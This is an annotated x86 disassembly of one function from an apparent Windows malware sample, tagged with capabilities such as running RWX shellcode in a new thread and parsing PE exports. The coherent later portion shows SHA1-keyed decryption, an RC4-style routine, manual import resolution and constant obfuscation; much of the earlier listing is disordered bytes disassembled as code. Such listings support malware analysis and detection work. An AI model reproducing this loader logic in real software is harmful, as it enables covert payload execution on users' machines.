Function at 0x4016e7
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
jmp dword [0x761a0b14]
int3
and byte [esi + esi*2 + 6], cl
loop 0x40115e
add byte [ecx - 0x977b], cl
inc ecx
add byte [ecx], 0
test dword [eax - 1], ebp
inc dword [ecx - 0x7e]
add dword [eax], eax
int 0x10
sub eax, 0x2d868f76
mov dh, 0x2b
mov edi, edi
xor eax, eax
rol byte [eax], cl
ja 0x401108
test dword [ebp + 8], 0xfffffff8
ja 0x40115e
push edx
cmp ecx, edi
nop
nop
js 0x4011c0
jbe 0x401119
nop
je 0x405def
mov ebp, esp
or ebx, dword [edx]
add byte [eax], al
pop eax
fadd dword [eax]
add byte [ebx + 0x6ae845], cl
add al, 0
inc eax
jbe 0x401156
pop edi
nop
idiv byte [ecx]
add byte [eax], al
add byte [eax], al
xor byte [esi - 0x3f], dh
mov edi, edi
nop
add al, byte [eax]
add bh, dh
nop
ror dword [ebx + 0x290ff], 0
not dword [eax + 0x761a405a]
mov ecx, dword [ebp - 0x46ff23b3]
add byte [eax], al
add byte [eax], al
pop edx
inc eax
sbb dh, byte [esi - 0x75]
lea ecx, [ebp - 0x24]
add byte [ecx], bh
dec ebp
fadd qword [eax]
mov ecx, 0
or al, dh
and esi, dword [edi + 0x2d]
add byte [ebx - 0x23ba76ff], cl
add eax, dword [eax]
push esi
ja 0x401224
pop ebp
and al, 0xc
ja 0x401213
add byte [eax], al
add byte [eax], al
cld
add ah, bh
jbe 0x401257
jbe 0x4011e5
dec esi
mov ebp, esp
push ebp
nop
jbe 0x4011eb
invalid
jge 0x401250
jbe 0x401180
jbe 0x4011fe
test byte [edi], 0x90
add eax, 0xf800000
add byte [eax - 0x44976f70], dl
jge 0x4011ae
nop
nop
nop
push 0xab7dbb
add byte [esi - 0x4a], dh
add byte [eax], al
jbe 0x4011bd
xor byte [edi], al
or byte [edi], 0x84
mov eax, 0xf5787758
adc eax, 0xacc87757
ja 0x4011dd
lodsb al, byte [esi]
nop
jo 0x4011b7
pushal
sbb dh, byte [esi - 0x70]
nop
ja 0x401284
loopne 0x401278
inc ebp
jbe 0x401239
adc al, 0x77
add eax, 0x764077
ja 0x40122c
ja 0x401269
jbe 0x40122b
jbe 0x4011fc
iretd
je 0x404586
pop eax
and dword [edx + 0x77], ebx
add bh, bh
mov dword [ebp - 4], 0xc0000017
push eax
js 0x401253
pop ebp
adc byte [eax + 0x50], dl
rol dword [ebx + 0x543b00d2], 0x24
jbe 0x401286
xor eax, 0x90c577d6
salc
ja 0x401219
lds edx, [eax + 0xa775700]
nop
add byte [edi + 0x77], dl
or ch, byte [esi]
stosb byte es:[edi], al
ja 0x401263
stosb byte es:[edi], al
lock xadd dword [ecx], eax
jne 0x40174e
add byte [eax], al
call fcn.00402f48
add byte [eax], al
add byte [esi - 0x7f], dh
jbe 0x4011ee
push eax
sal dword [ebx - 0x2d], 1
sbb dh, byte [esi - 0x70]
js 0x40125b
xchg esp, eax
nop
ret 8
je 0x401288
pop edx
nop
jbe 0x40121e
wait
dec edx
add cl, dl
add byte [ebx - 0x76efdbbc], cl
dec edi
ja 0x40121e
pop edx
adc edx, eax
ja 0x40126a
adc al, 0x9c
cwde
cmp esi, 0xfffffff4
lahf
enter 0x56ff, 0x77
or dword [edi], ebp
shl byte [ebx], 0x58
push eax
pop esp
hlt
mov ebp, esp
dec esi
call fcn.00404bb4
ret 0
seto byte [edi - 0x2c]
push ebp
mov ebp, esp
pop eax
mov dword [eax], ecx
or al, 0x2e
or byte [esi + ebp], cl
nop
or bl, byte [eax + 0x77]
sahf
and al, 0xc
inc esi
mov dword [eax + 0x20], ecx
or byte [ebx - 0x78f0f701], al
add al, 0
mov esi, dword [0x40e671]
or byte [eax], dl
test dword [edi + edi*8 - 1], ebp
sal dword [ebx - 0x15], 1
dec dword [eax]
ja 0x35cb1708
jno 0x4016ec
inc eax
add byte [eax], cl
adc byte [ebp - 0x2e000094], al
jae 0x4016fc
inc ebp
pop edx
adc al, 0xff
cmp dword [ebx - 0x76a889d3], ecx
sbb al, byte [ecx + 0x56fc4077]
test byte [ebx], cl
inc esi
ja 0x40174f
jbe 0x4016b9
add byte [eax], al
ret
cli
jbe 0x401709
sbb dh, byte [esi - 0x70]
sub eax, dword [eax]
adc eax, 0x761a04b4
pop ss
add byte [esi + 0x5d], bl
pop esi
pop ebp
jbe 0x4016e3
cmpsd dword [esi], dword es:[edi]
ja 0x401776
add bh, bh
add dword [eax], eax
nop
mov bh, 0xf6
inc dword [ecx]
add byte [eax - 0x40fe0949], dl
adc byte [edx + ebx], ah
jbe 0x40177e
add dword [edi + 0x761a2410], edi
sbb dh, byte [ebp + 0x2d]
jne 0x401793
idiv bh
nop
or al, 0x8b
add al, 0x64
push edi
sub eax, 0x2d8ccf76
mov byte [eax], 1
jbe 0x401740
mov word [0xe80100c6], gs
mov ch, 1
call fcn.00401930
add byte [eax], al
pushal
sbb dh, byte [esi - 0x75]
jbe 0x4017ac
mov esi, dword [esi + 0x2b]
nop
ja 0x401794
jmp 0x40175d
dec eax
jbe 0x401810
add byte [eax], al
sub eax, 0x2dbab276
pop ecx
test dword [edx], ecx
nop
mov bh, 0xc3
nop
inc byte [eax]
or esi, dword [edx - 0x438e89d2]
or al, ch
nop
rcr byte [ebp - 0x3e], 0xc
jbe 0x401779
dec esi
jge 0x409014
mov edi, edi
jge 0x4023bb
add byte [eax], al
jbe 0x401757
add dh, bh
sbb byte [ecx + 0x58], ch
pop edx
add byte [ecx + 0x3b], bl
nop
sbb dh, byte [esi - 0x70]
fild qword [0x41cb5d]
jbe 0x4017a4
pop ebx
jbe 0x40176f
ja 0x401768
push ecx
nop
imul edi, dword [eax + ebx*2 + 0x77], 0x33
add al, 0xe6
mov eax, dword [ebp - 0x18]
pop edi
jl 0x401897
ret 4
mov dword [esi + 0x2c], eax
jne 0x40183d
pop ss
or byte [edi], 0x84
sbb dh, byte [esi - 0x70]
jbe 0x4017ac
push edi
add al, 0x2e
call fcn.004034d8
jne 0x4035d4
clc
push edi
add dword [ecx + edx - 0x73], esi
jbe 0x40181a
ja 0x4017c3
and eax, 0x761a0c00
jae 0x40183c
jne 0x401845
or byte [ebx], al
pop es
add esp, dword [esi]
pop es
pop edi
nop
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
add byte [eax], al
aad 2
pop esp
ret 0xc
clc
add byte [edi], cl
inc eax
jbe 0x4018d3
jbe 0x4018a5
add byte [eax - 0x6f6f6f70], dl
add eax, 0x90909090
nop
nop
and eax, 0x761a0d50
push edi
add byte [eax], al
push ecx
and al, 4
mov eax, dword [ebp - 0x20]
adc eax, 0x761a05d0
nop
push esi
inc edi
add al, byte [eax]
add al, 0
add eax, dword [eax]
lodsb al, byte [esi]
cmp bh, bh
push ds
add byte [ecx + 0x5f], bl
or byte [eax], al
add byte [eax], al
invalid
mov byte [0xc84b1d5], al
cmp al, 0x4a
nop
add byte [eax + 0x4244c8b], dl
mov dword [ebp - 0x40], 0x18
mov word [eax + 0x32], cx
cwde
test byte [edx + 0x3b00017f], dl
sahf
mov ebp, esp
add byte [eax], al
loop 0x401911
stc
aas
sbb byte [ecx + 0x58], ch
ret 8
mov edi, edi
nop
cmp esi, 0xfffffff4
nop
mov ebp, esp
add byte [eax - 0x6f6f6f70], dl
inc ebp
jne 0x403978
nop
jbe 0x401ee0
invalid
mov dword [ebp - 0xb4], ecx
les eax, [edx + eax*8]
pop ss
add dword [edi + 0x77], edx
jmp 0x401eca
pop esp
ret 4
call [ecx - 0x5b]
or ecx, ecx
add eax, edx
mov dword [esi], ebp
jbe 0x402ac8
push dword [esi + 0x50]
jbe 0x402b1b
aad 0x59
add byte [edx], ch
test dword [ebx], esp
pop ebp
nop
invalid
add byte [edi - 0x20], dh
and eax, 0x761a0c98
adc byte [edx], ah
nop
push edi
or ch, byte [esi]
or eax, 0x9090761a
add al, 0x1a
test dword [0x42ea30], edi
cmp dword [ebp - 0xac], 0
xchg ebx, eax
nop
nop
pop esp
mov dword [eax], edi
jbe 0x402af0
jbe 0x402b98
jl 0x402b7a
pop ebp
stc
adc bl, byte [ecx]
jbe 0x402b0b
and eax, 0x761a0740
xchg ecx, eax
push ebp
or eax, 0x9090761a
jbe 0x402abe
nop
nop
nop
adc byte [esi - 0x75], dl
add eax, 0x90909090
nop
nop
nop
push 0x76260318
jne 0x402b4c
sbb byte [ebx], al
jbe 0x402bb4
or al, 0x90
nop
clc
jbe 0x402ad4
nop
add byte [eax], al
jbe 0x402b78
ja 0x402b6f
sahf
nop
or byte [edi], 0x84
ror byte [edi], cl
jbe 0x402b1e
cwde
inc ebp
test dword [eax - 2], esp
add edi, 0x70
shr byte [0x40e5cf], 0x76
ja 0x402bde
nop
pop ebx
mov ebp, esp
or bl, bl
std
sub bh, byte [ecx - 0x613a89d3]
jbe 0x402b36
sahf
and eax, 0x761a0dac
pop ecx
pop ebp
jecxz 0x402ba8
sub eax, 0x478b3b76
pop eax
jbe 0x402bb8
mov eax, dword [edi + 0x58]
sbb dh, byte [esi - 0x70]
push edi
mov word [di], gs
ja 0x402bdb
add byte [eax], al
mov al, 0x18
pop eax
jbe 0x402b2c
nop
ja 0x402b3a
mov eax, dword [ebp - 0xc0]
nop
dec edi
jne 0x402bbd
call dword [eax + 0x820754f]
add dword [0x2817762e], esp
or byte [ecx], al
and eax, 0x2817762e
jbe 0x402b41
jne 0x401fbd
adc esp, esi
invalid
sal edi, cl
nop
add byte [eax], al
push edi
dec ebx
push ebp
ja 0x402c33
cmp edx, dword [esp + 0xc]
and al, 0xc
nop
add byte [edi], cl
nop
add al, ch
je 0x402bce
shr byte [esi], 0x76
and al, 4
nop
mov byte [0x4297d7], cl
invalid
xchg edi, eax
rol dword [ecx], 0x48
dec eax
jbe 0x402bf0
nop
add byte [0x421d45], bh
ja 0x402c05
cmp dword [ecx], eax
mov bl, 0x90
xchg edx, eax
nop
nop
sbb eax, 0xc05762e
xor byte [ebx - 0x126689d3], ah
cmp byte [ecx + 0x3b89fc7d], cl
mov esp, 0x9520775b
pop ebx
ja 0x402c26
and byte [ebp - 0x7c6ff389], dl
sar esi, 0xb6
add dword [esi + 0x4f], esi
xchg ebp, eax
ja 0x402c15
nop
add ecx, 0xfffffffe
mov dh, 1
jbe 0x402c60
push es
jmp 0x402c07
add al, ch
adc eax, 0x6a900000
add ah, dl
push ecx
call fcn.00404151
add byte [eax], al
nop
push 0
aam 0x51
add byte [eax], al
add eax, 0xae4762e
xor eax, eax
je 0x402c7e
or dh, byte [ebx]
ror byte [edi], 0x84
dec edi
add byte [eax], al
add byte [edx - 0x74fffe4b], bl
jne 0x402c3e
lcall 0x875, 0x8b0001b5
mov esi, dword [ebp + 8]
mov ebp, esp
in al, dx
or al, 0x61
pop esp
invalid
sub eax, str.._5_
nop
add bh, bh
ja 0x402c90
in al, 0x41
add byte [eax + 0x4877ff00], dl
adc eax, 0x761a053c
jbe 0x402c16
add byte [ebp - 0x3e], bl
nop
dec esi
nop
dec eax
jbe 0x402c40
mov ebp, esp
add eax, 0x90909090
nop
imul esi, edx, 0xb2b8762d
fnstcw word [ecx + 0x35f5762e]
ja 0x402c96
jbe 0x402c60
xor eax, 0x47902877
nop
inc edi
sahf
jbe 0x402c03
nop
mov esi, eax
clc
ja 0x402c19
and al, 4
nop
push esi
das
cld
jbe 0x402cdf
ja 0x402ce8
adc byte [edi], cl
nop
nop
test al, 0xb
xor ecx, ecx
mov edi, edi
nop
jbe 0x402c9f
or eax, 0x18
cmpsd dword [esi], dword es:[edi]
jge 0x402c68
add dh, dh
or eax, 0x34297630
nop
and dword [ebp - 0x79f889d3], ecx
add eax, dword [eax]
inc edi
add bl, byte [edx]
adc eax, 0xacc87757
jbe 0x402c37
sub eax, 0x2d749b76
mov dword [eax], edx
add byte [eax - 0x6f6f6f70], dl
or al, 0xb
nop
mov eax, dword [ebx + 8]
xor byte [esi - 0x37], dh
push edi
fistp dword [edi - 0x5f9289d1]
adc byte [esi], ch
nop
movzx eax, word [esi]
invalid
xlatb
sub eax, 0x2fda2d76
nop
nop
add byte [eax], al
and eax, 0x761a0964
add byte [0x761a0964], ah
add byte [ebx], al
and byte [ecx + 0x16a4046], cl
invalid
add byte [0x429ff1], bh
cmp byte [ebx + 0xb082454], cl
ret 0
inc edx
invalid
mov bh, 0x8c
je 0x406a3f
mov eax, 0x16762d79
jbe 0x40390e
inc dword [eax]
add byte [eax + 0x10900fd2], dl
sub edx, dword [eax - 0x5f054d70]
das
jbe 0x4038dc
add byte [eax], al
nop
ror byte [edi], cl
nop
adc byte [ebx], ch
nop
nop
mov dl, 0xfa
mov al, byte [0x9fbd762f]
lahf
push ebp
add byte [esi + eax*4 - 0x791b88a8], cl
pushal
cmp edi, esi
pop esp
push ebp
ja 0x4039ac
invalid
cmp dword [edx + 0x1b74775b], eax
nop
jl 0x403991
push eax
inc edx
jbe 0x403980
and eax, 0x761a0c98
push edi
pop eax
jbe 0x40398a
lea edx, [edi + edi*8 - 1]
test esi, esi
and byte [esi], ch
je 0x408c5f
ja 0x40398c
hlt
pop edx
ja 0x4038dd
je 0x4230e8
ja 0x403969
push ebp
add byte [eax - 0x73], dl
cmp al, 1
push edi
nop
sub eax, 0x2de17476
add dword [ebp - 0x72af87b9], ecx
add dword [eax], eax
ja 0x40392a
jnp 0x403966
ja 0x403900
pushal
add byte [ecx + 0x7d89e47d], cl
or ebx, dword [edx]
push ebp
pushal
stc
inc ebp
nop
nop
sub eax, 0x2ddc9c76
pop ebp
mov bh, 0x8c
jmp 0x4039c0
pushfd
fsubr qword [0xeb8cb75d]
daa
nop
nop
nop
ror byte [edi], 0x57
add bh, bh
push edi
mov eax, dword [ebp + 8]
jbe 0x403937
mov eax, 0x387756f9
push edi
call fcn.004071b4
and al, 4
pop eax
ja 0x403a33
add byte [ebx + 0x6ae845], cl
jbe 0x40395a
loop 0x4039c3
add ah, byte [esi + ebx]
and al, 0x1e
invalid
cmp edi, ebx
cmp dword [ebp - 0xa0], ebx
sub edx, edi
jbe 0x403a8f
invalid
pop eax
sbb dh, byte [esi - 0x70]
and esp, dword [ecx + 0x77]
nop
nop
nop
and eax, 0x761a08ec
add dword [edi], ecx
jbe 0x403a7d
jne 0xdf006e6b
test ecx, ebp
xor eax, eax
fidiv word [ecx + ecx + 0x39]
nop
cmp ecx, dword [0x41911f]
push edi
je 0x403a8d
cmp dword [eax - 0x6ee0f2c5], edx
inc ecx
add byte [edi + 0x76], dl
jmp loc.00403ae4
jbe 0x403a7a
push esp
xchg ecx, eax
mul edx
jbe 0x403a6c
nop
add byte [eax + 0xe000c], dl
or byte [eax + 0x2e850f01], ch
invalid
add edx, dword [eax + 0x775ad190]
jbe 0x404436
push 0x44
ljmp 0xfc7d
xchg edx, eax
mov edx, 0xd3762f1e
or byte [edi + 0x77], dl
or eax, 0x9090761a
ja 0x4043bc
pop edi
mov ecx, dword [esi + 0x34]
nop
push es
mov dword [ebp - 0x20], eax
sbb dh, byte [esi - 0x70]
nop
add byte [eax - 0x73], dl
jbe 0x40442d
add cl, byte [edi]
push esi
dec edx
nop
test ah, dh
cmp al, 0x8b
add byte [ebx], bh
nop
nop
add eax, 0xc1762e0c
mov edi, edi
js 0x404493
adc al, 0xff
or al, 0xff
add dword [eax], eax
add byte [eax], al
and ebx, dword [eax + 0x77]
sbb byte [eax], dh
push ebp
push es
and eax, 0x761a08ac
mov byte [edx + 0x61], al
or byte [edx], bl
jbe 0x4043e0
inc edx
popal
add ebp, dword [esi]
loopne 0x4044b1
mov byte [esi], ch
push 0x662c4689
test dh, dh
add eax, 0x90909090
jne fcn.0040449b
ja 0x4044a0
mov ebx, dword [edi + esi*2 + 6]
add al, 0xf
xor eax, 0x762602ac
pop esp
lodsb al, byte [esi]
add ah, byte [esi]
jbe 0x4044d8
cmp ecx, ebx
or esi, edi
div byte [ebp + eax - 0x75]
invalid
inc eax
add byte [ebx + 0x1a06775c], cl
jbe 0x404421
push es
sbb dh, byte [esi - 0x70]
push ebp
nop
pop ss
nop
jbe 0x404427
and bl, 0x50
nop
pop es
ja 0x4044bb
invalid
nop
pushal
sub eax, 0x2e5d0676
nop
jbe 0x40451f
xlatb
pop eax
push ebp
mov edi, edi
ja 0x404454
nop
je 0x4044c8
jmp 0x4044f4
pop esi
pop ebp
nop
push edi
jne 0x4044f6
cmpxchg dword [ecx], edx
das
mov dword [eax + 0x14], ecx
add al, 0xb
add byte [ebp - 0x6089d1d4], dl
xchg ebp, eax
sub al, 0x2e
jbe 0x40447c
fst qword [edi]
pop ss
adc cl, ch
push ebp
nop
clc
inc ebp
jbe 0x404477
jbe 0x404474
mov dl, 0x2e
inc eax
push 1
push ecx
and eax, 0x761a05c8
add dword [ecx + 0x25], edx
enter 0x1a05, 0x76
nop
adc byte [ebx + 0x46895047], cl
jbe 0x40448d
mov eax, dword [edi + 0x50]
mov dword [esi + 0x76], eax
nop
cli
ja 0x40880c
jbe 0x404488
mov dword [ebp - 0x34], ecx
add byte [esi], dl
nop
jbe 0x40449a
jmp 0x404516
movsd dword es:[edi], dword [esi]
pop ebp
test al, 0
call fcn.0040212c
aad 0x5a
add byte [0x41a816], bh
mov ebp, esp
pop eax
nop
ja 0x4044ed
test al, 0x41
add byte [ebx + 0x779058ec], cl
rol byte [eax], 0x8b
jne 0x404539
add byte [ebx + 0x5de80875], cl
jbe 0x4044d1
call 0xa9dcbb93
pop eax
ja 0x4044de
pushfd
test eax, 0x9ba57758
wait
jbe 0x404572
jbe 0x40453f
xor byte [ebx], ch
add eax, 0x89dc4d8b
nop
sbb byte [ebp - 0x157bf025], al
invalid
nop
nop
nop
and eax, 0x761a0828
ret 0x5afb
mov bl, 0x90
pop ebp
nop
pop ecx
les eax, [eax]
mov dword [ebp - 4], edi
ja 0x404524
add byte [ecx - 0x6d880383], cl
ja 0x404534
add byte [eax], al
mov dl, 0x2e
or dword [edx], ebx
jbe 0x40452c
clc
nop
push edi
sub eax, 0x2da56376
nop
and al, 0xc
push esi
push edi
mov eax, dword [ecx + 0x30]
add byte [eax], al
pop esi
inc ebp
push ebp
test dword [esp + esi*8 + 0x4d8bffff], ebx
adc bh, bh
pop eax
sub eax, 0x2de88676
mov eax, dword [ebp - 0x20]
test dword [edx - 0x4c], eax
cmp ecx, ebx
ja 0x4045d6
jbe 0x4045cc
pop ss
jbe 0x40458c
sbb byte [ebp + ebp + 0x2e11fc76], bl
add bl, byte [edx + 0x77]
xchg esp, eax
push edi
das
or eax, 0xc0967759
ja 0x40461c
rcr bl, 1
or al, 0xff
or dword [edx], ebx
inc ebp
add dword [ecx - 0x387cf7ba], ecx
fmul dword [ecx + 0x398ae910]
lcall 0x762e, 0x9096762e
sbb dh, byte [esi - 0x70]
nop
invalid
or esp, dword [esi + esi*2]
jbe 0x405765
add byte [ebp], dh
mov word [edx], ax
jmp 0x40570d
xor ecx, ecx
jmp 0x405717
push dword [ebp - 0x168]
pop edx
mov word [edx + 0xe], cx
xor eax, eax
mov ecx, dword [ebp - 0x168]
mov word [ecx + 0xc], ax
xor edx, edx
mov eax, dword [ebp - 0x168]
mov word [eax + 0xa], dx
xor ecx, ecx
jmp 0x405742
mov edx, dword [ebp - 0x168]
jmp 0x40574c
mov word [edx + 8], cx
cmp dword [ebp - 0x148], 0
jmp 0x40575f
jne 0x405766
jmp 0x4059d5
add bh, al
test dword [esi + edi*8 + 0x3cffff], edi
add byte [eax], al
mov dword [ebp - 0x144], 0x3c
push dword [ebp - 0x148]
pop eax
mov dword [ebp - 0x184], eax
jmp 0x405781
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x17c], 0
push 0xf0000000
push 1
push 0x771278d5
pushfd
add dword [esp + 4], 0x88ed872b
popfd
push 0
jmp 0x4057c1
lea ecx, [ebp - 0x178]
jmp 0x4057ce
push ecx
jmp 0x4057d6
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
jmp 0x4057e0
test eax, eax
jne 0x4057f3
jmp 0x405974
lea edx, [ebp - 0x174]
jmp 0x405804
push edx
jmp 0x40580e
push 0
jmp 0x405818
push 0
jmp 0x40581d
push 0x8004
push dword [ebp - 0x178]
pop eax
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
jmp 0x405834
test eax, eax
jne 0x40583d
jmp 0x405974
push 0
push 0x3c
push dword [ebp - 0x184]
pop ecx
push ecx
mov edx, dword [ebp - 0x174]
push edx
jmp 0x40585a
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jmp 0x40586a
jne 0x405871
jmp 0x405974
mov dword [ebp - 0x180], 4
push 0x3eddcef4
pushfd
add dword [esp + 4], 0xc122310c
popfd
lea eax, [ebp - 0x180]
cmp dword [ebp - 0x174], 0
je 0x40598a
mov edx, dword [ebp - 0x174]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 0x178], 0
je 0x4059a8
push 0
mov eax, dword [ebp - 0x178]
jmp 0x4059a1
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 0x148]
push ecx
push 0x460bd252
pushfd
add dword [esp + 4], 0xb9f42dae
popfd
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
jmp 0x4059ce
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x130], 0
jne 0x4059e3
jmp 0x405b9a
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x13c], 0x80a367d5
pushfd
add dword [ebp - 0x13c], 0x7f5c982b
popfd
jmp 0x405a34
push dword [ebp - 0x138]
pop edx
add edx, 1
mov dword [ebp - 0x138], edx
jmp 0x405a1e
push dword [ebp - 0x13c]
pop eax
push ecx
mov ecx, eax
add ecx, 1
mov eax, ecx
pop ecx
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x138], 0x14
jmp 0x405a41
jae 0x405aab
mov ecx, dword [ebp - 0x13c]
jmp 0x405a51
cmp ecx, dword [ebp - 0x12c]
jmp 0x405a5c
jne 0x405a74
mov dword [ebp - 0x13c], 0xf6f1e1ec
pushfd
add dword [ebp - 0x13c], 0x90e1e14
popfd
mov edx, dword [ebp - 0x130]
add edx, dword [ebp - 0x13c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x128]
add ecx, dword [ebp - 0x138]
movzx edx, byte [ecx]
xor edx, eax
push dword [ebp - 0x128]
pop eax
add eax, dword [ebp - 0x138]
mov byte [eax], dl
jmp 0x405a0b
mov ecx, dword [ebp - 0x130]
push ecx
push 0
jmp 0x405ab9
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x140], 0
jmp 0x405af0
push dword [ebp - 0x140]
pop edx
add edx, 1
mov dword [ebp - 0x140], edx
jmp 0x405af0
cmp dword [ebp - 0x140], 0x14
jae 0x405b30
jmp 0x405aff
mov eax, dword [ebp - 0x128]
push dword [ebp - 0x140]
add eax, 0x3b4cdf12
sub dword [esp], 0x3b4cdf12
add eax, dword [esp]
mov dword [esp], eax
pop eax
mov ecx, dword [ebp - 0x140]
mov dl, byte [eax]
mov byte [ebp + ecx - 0x10c], dl
jmp 0x405ad6
mov eax, dword [ebp - 0x128]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
jmp 0x405b48
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ecx + 0x190]
and edx, 2
je 0x405b7e
push dword [ebp - 0xd4]
pop eax
mov ecx, dword [eax + 0x190]
and ecx, 0xfffffffd
mov edx, dword [ebp - 0xd4]
mov dword [edx + 0x190], ecx
jmp 0x405b9a
push dword [ebp - 0xd4]
pop eax
mov ecx, dword [eax + 0x190]
or ecx, 2
mov edx, dword [ebp - 0xd4]
mov dword [edx + 0x190], ecx
jmp 0x405c22
mov dword [ebp - 0x188], 0
jmp 0x405c48
mov ecx, dword [ebp - 0x188]
add ecx, 1
jmp 0x405c42
mov dword [ebp - 0x188], ecx
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x10c]
jmp 0x405c61
test eax, eax
je 0x405c67
jmp 0x405c35
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ecx + 0x60]
sub edx, 0x194
mov dword [ebp - 0x298], edx
jmp 0x405c82
mov byte [ebp - 0x189], 0
mov byte [ebp - 0x291], 0
mov byte [ebp - 0x292], 0
movzx eax, byte [ebp - 0x189]
mov cl, byte [ebp - 0x189]
jmp 0x405cab
mov byte [ebp + eax - 0x290], cl
movzx edx, byte [ebp - 0x189]
jmp 0x405cc1
mov al, byte [ebp - 0x189]
add al, 1
mov byte [ebp - 0x189], al
cmp edx, 0xff
jl 0x405c97
jmp 0x405cda
mov byte [ebp - 0x189], 0x9a
pushfd
add byte [ebp - 0x189], 0x66
popfd
mov byte [ebp - 0x292], 0x75
pushfd
add byte [ebp - 0x292], 0x8b
popfd
movzx ecx, byte [ebp - 0x292]
cmp ecx, dword [ebp - 0x188]
jmp 0x405d0d
jne 0x405d16
mov byte [ebp - 0x292], 0
movzx edx, byte [ebp - 0x189]
movzx eax, byte [ebp + edx - 0x290]
movzx ecx, byte [ebp - 0x292]
movsx edx, byte [ebp + ecx - 0x10c]
add eax, edx
jmp 0x405d3f
movzx ecx, byte [ebp - 0x291]
add ecx, eax
mov byte [ebp - 0x291], cl
mov dl, byte [ebp - 0x292]
jmp 0x405d5b
add dl, 1
jmp 0x405d64
mov byte [ebp - 0x292], dl
jmp 0x405d71
movzx eax, byte [ebp - 0x189]
jmp 0x405d7b
mov cl, byte [ebp + eax - 0x290]
jmp 0x405d8a
mov byte [ebp - 0x293], cl
movzx edx, byte [ebp - 0x291]
jmp 0x405da3
movzx eax, byte [ebp - 0x189]
mov cl, byte [ebp + edx - 0x290]
mov byte [ebp + eax - 0x290], cl
movzx edx, byte [ebp - 0x291]
mov al, byte [ebp - 0x293]
mov byte [ebp + edx - 0x290], al
movzx ecx, byte [ebp - 0x189]
jmp 0x405dda
mov dl, byte [ebp - 0x189]
add dl, 1
jmp 0x405de6
mov byte [ebp - 0x189], dl
jmp 0x405df3
or al, 0x8b
add ah, byte [eax]
push ebx
mov ebx, ecx
cmp ebx, 0xff
pop ebx
jl 0x405cfa
mov dword [ebp - 0x190], 0xc3823c66
pushfd
add dword [ebp - 0x190], 0x3c7dc39a
popfd
jmp 0x405e2d
push dword [ebp - 0x190]
pop ecx
push dword [ebp - 0x3c0]
pop ecx
cmp dword [ecx + 0xc], 0
je 0x406b6d
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0xd0]
add eax, dword [edx + 0xc]
jmp 0x406a40
std
mov dword [ebp - 0x3d4], eax
push dword [ebp - 0x3d4]
pop ecx
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x406a5f
mov dword [ebp - 0x3d0], eax
mov edx, dword [ebp - 0x3c0]
jmp 0x406a76
mov eax, dword [ebp - 0xd0]
add eax, dword [edx + 0x10]
mov dword [ebp - 0x3d8], eax
mov ecx, dword [ebp - 0x3d8]
cmp dword [ecx], 0
je 0x406b59
jmp 0x406a98
mov edx, dword [ebp - 0x3d8]
mov eax, dword [edx]
and eax, 0x80000000
cmp eax, 0x80000000
jmp 0x406ab0
je 0x406b0f
jmp 0x406ab6
mov ecx, dword [ebp - 0x3d8]
mov edx, dword [ebp - 0xd0]
add edx, dword [ecx]
mov dword [ebp - 0x3dc], edx
mov eax, dword [ebp - 0x3dc]
add eax, 2
push eax
jmp 0x406ad8
mov ecx, dword [ebp - 0x3d0]
push ecx
jmp 0x406ae2
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x406aed
mov edx, dword [ebp - 0x3d8]
jmp 0x406afc
mov dword [edx], eax
mov eax, dword [ebp - 0x3d8]
add eax, 4
mov dword [ebp - 0x3d8], eax
jmp 0x406b54
mov ecx, dword [ebp - 0x3d8]
mov edx, dword [ecx]
jmp 0x406b20
and edx, 0x7fffffff
push edx
push dword [ebp - 0x3d0]
pop eax
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x3d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3d8]
add edx, 4
mov dword [ebp - 0x3d8], edx
jmp 0x406b54
jmp 0x406a85
mov eax, dword [ebp - 0x3c0]
add eax, 0x14
mov dword [ebp - 0x3c0], eax
jmp 0x406a1d
mov byte [ebp - 0x3e1], 1
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x3e8], ecx
mov edx, dword [ebp - 0x3e8]
mov eax, dword [ebp - 0xc4]
add eax, dword [edx + 0x3c]
jmp 0x406b92
mov dword [ebp - 0x3e0], eax
push dword [ebp - 0x3e0]
pop ecx
cmp dword [ecx + 0x78], 0
jmp 0x406baf
jbe 0x406cd4
jmp 0x406bbf
mov edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x3fc], eax
mov ecx, dword [ebp - 0x3fc]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x3fc]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x400], ecx
push dword [ebp - 0x400]
pop edx
mov eax, dword [ebp - 0xc4]
add eax, dword [edx + 0x5c]
mov dword [ebp - 0x3ec], eax
jmp 0x406c07
push dword [ebp - 0x3ec]
pop ecx
mov edx, dword [ebp - 0xc4]
